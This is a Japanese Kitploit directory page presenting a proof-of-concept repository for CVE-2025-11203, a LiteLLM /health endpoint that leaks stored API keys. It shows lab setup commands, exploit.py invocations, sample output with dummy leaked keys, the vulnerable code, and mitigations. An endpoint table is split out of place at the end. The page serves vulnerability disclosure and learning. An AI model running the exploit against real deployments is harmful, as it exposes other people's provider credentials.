Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-11203-PoC — 対応する脆弱性を個人で再現するためのコード | Kitploit
ツール/GitHubGitHub/learner202649/cve-2025-11203-poc
脆弱性分析エクスプロイト情報収集ウェブセキュリティ学習と教育APIセキュリティ
GitHublearner202649/cve-2025-11203-poc

CVE-2025-11203-PoC

対応する脆弱性を個人で再現するためのコード

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-11203 — LiteLLM Health Endpoint API_KEY Information Disclosure

LiteLLM (バージョン < 1.63.14) の /health エンドポイントは api_key パラメータを処理する際に、 機密情報を適切にフィルタリングしていないため、認証済みユーザーが他のモデル設定に保存された API Key を取得できてしまいます。 _clean_endpoint_data() 関数で削除されるべき api_key フィールドが、一部のコードパスで漏洩します。

FieldValue
CVECVE-2025-11203
ZDI IDZDI-25-929 (ZDI-CAN-26585)
CVSS v3.03.5 (LOW) — AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N
CWECWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)
AffectedLiteLLM < 1.63.14
Fixedv1.63.14+ (_clean_endpoint_data() 全面適用)
Published2025-10-29
Discovered byDavid Fiser & Alfredo Oliveira — Trend Micro Security Research
Reported to vendor2025-03-25
LinksZDI-25-929 • NVD • GHSA-w4vf-cc4x-mpjq

説明

LiteLLM の /health エンドポイントは、設定されたすべてのモデルのヘルスステータスを返します。通常、_clean_endpoint_data() 関数はヘルスチェック応答から機密フィールド(api_key、x-api-key など)を削除する必要があります。

しかし、v1.63.14 以前では、このクリーンアップ関数が一部のコードパスで実行されていないか、不完全に実行されており、その結果、モデル設定内の API Key がヘルスチェック応答で平文で返されてしまいます。

脆弱性のあるエンドポイント

エンドポイントメソッド説明
/healthGETすべてのモデルのヘルスステータスを返す
/health/liveliness

漏洩する機密情報

認証済みユーザーはヘルスチェックインターフェースを介して以下を取得できます:

  • すべての設定モデルの API Key(OpenAI、Anthropic、Azure など)
  • モデルエンドポイント URL などの情報
  • 保存された認証情報はさらなる攻撃に利用される可能性があります

Proof of Concept

Quick Start (Docker)

root@kitploit:~
# 1. 脆弱な LiteLLM を起動
docker compose up -d

# 2. 依存関係をインストール
pip install -r requirements.txt

# 3. エクスプロイトスクリプトを実行
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key

# 4. 完全な応答を表示
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose

# 5. (オプション)修正バージョンを確認
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed

期待される出力

root@kitploit:~
======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
 Target     : http://localhost:4000
 API Key    : sk-litellm-master-key...
 Endpoint   : /health

[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
    HTTP 200 — OK

[*] Step 2: Scanning for leaked credentials...

[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!

    Path  : unhealthy_endpoints[0].api_key
    Field : api_key
    Value : sk-this-is-a-leaked-openai-key...cdef123456  (len=43)

    Path  : unhealthy_endpoints[1].api_key
    Field : api_key
    Value : sk-another-leaked-key-789012xy...-789012xyz  (len=31)

    Path  : unhealthy_endpoints[2].api_key
    Field : api_key
    Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx  (len=33)

 Models checked: 3
 Credentials leaked: 3
 [🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!

注意: ステップ1は約60秒かかります。LiteLLMが各アップストリームモデルをプローブするためです(ダミーキーのため各接続がタイムアウトします)。漏洩したキーは unhealthy_endpoints の下に表示されます。ダミーキーは実際にOpenAI/Anthropicに接続できないためです。

修正バージョンでは漏洩が拒否されます:

root@kitploit:~
======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
    No API keys found in response.
    [+] Expected: keys sanitized by _clean_endpoint_data()

技術的詳細

脆弱性コード

脆弱性は litellm/proxy/health_check.py の _clean_endpoint_data() 関数にあり、 ILLEGAL_DISPLAY_PARAMS リストを使用して api_key などの機密フィールドをフィルタリングします:

root@kitploit:~
ILLEGAL_DISPLAY_PARAMS = [
    "messages",
    "api_key",
    "prompt",
    "input",
    "vertex_credentials",
    "aws_access_key_id",
    "aws_secret_access_key",
]

def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
    return (
        {k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
        if details is not False
        else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
    )

このデモでは sed を使用して ILLEGAL_DISPLAY_PARAMS から "api_key" を削除し、/health 応答が元のモデル設定を返すようにしています。これは、クリーンアップ関数が一部のコードパスでバイパスされる状況をシミュレートしています。

影響

  • 認証済みの低権限ユーザーがすべてのモデル設定内の API Key を読み取ることができます
  • 漏洩した認証情報は LLM プロバイダの API を直接呼び出すために使用される可能性があります
  • さらなるデータ漏洩やアカウント乗っ取りにつながる可能性があります

Environment

root@kitploit:~
CVE-2025-11203/
├── README.md                    # This file
├── docker-compose.yml           # Vulnerable + fixed LiteLLM
├── litellm_config.yaml          # Config with 3 models + API keys
├── requirements.txt             # Python dependencies
├── litellm-vuln/
│   └── Dockerfile               # pip install "litellm[proxy]==1.61.0" + patch
├── exploit/
│   └── exploit.py               # Main exploit script
├── docs/
│   └── advisory.md
└── screenshots/

修正

v1.63.14 で修正され、_clean_endpoint_data() がすべてのヘルスチェックコードパスで正しく呼び出されるようになりました。

緩和策

  1. LiteLLM を v1.63.14+ にアップグレードする
  2. アップグレードできない場合、/health エンドポイントへのアクセス元を制限する
  3. ヘルスチェックエンドポイントへの異常なアクセスを監視する

References

  • ZDI-25-929
  • NVD Detail
  • GHSA-w4vf-cc4x-mpjq
  • LiteLLM v1.63.14 Release Notes

免責事項: このコンテンツは教育目的および許可されたセキュリティテストのみのために提供されています。

ツールをダウンロード
GET
生存確認
/health/readinessGET準備完了確認